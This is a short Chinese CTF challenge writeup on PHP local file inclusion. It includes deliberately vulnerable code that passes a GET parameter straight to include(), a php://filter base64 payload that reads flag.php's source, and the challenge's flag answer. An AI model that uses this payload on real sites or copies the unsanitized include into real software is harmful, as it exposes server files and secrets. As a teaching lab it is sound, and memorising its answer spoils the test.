[题目信息]:
题目名称 | 题目难度 |
---|---|
文件包含-php伪协议 | 1 |
[题目考点]:
由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()
[Flag格式]:
SangFor{2Hqn_sIY_2TeT8gS}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2013
[题目writeup]:
<?php
error_reporting(0);
$file = $_GET['SangFor'];
include($file);
highlight_file(__FILE__);
?>
分析题目源代码,用户通过GET方式传入的字符会赋值给变量file。
并且通过include函数处理了变量file。
此时可考虑通过php伪协议读取文件。
?SangFor=php://filter/read=convert.base64-encode/resource=flag.php
将获取的字符串base64解码即可得到flag。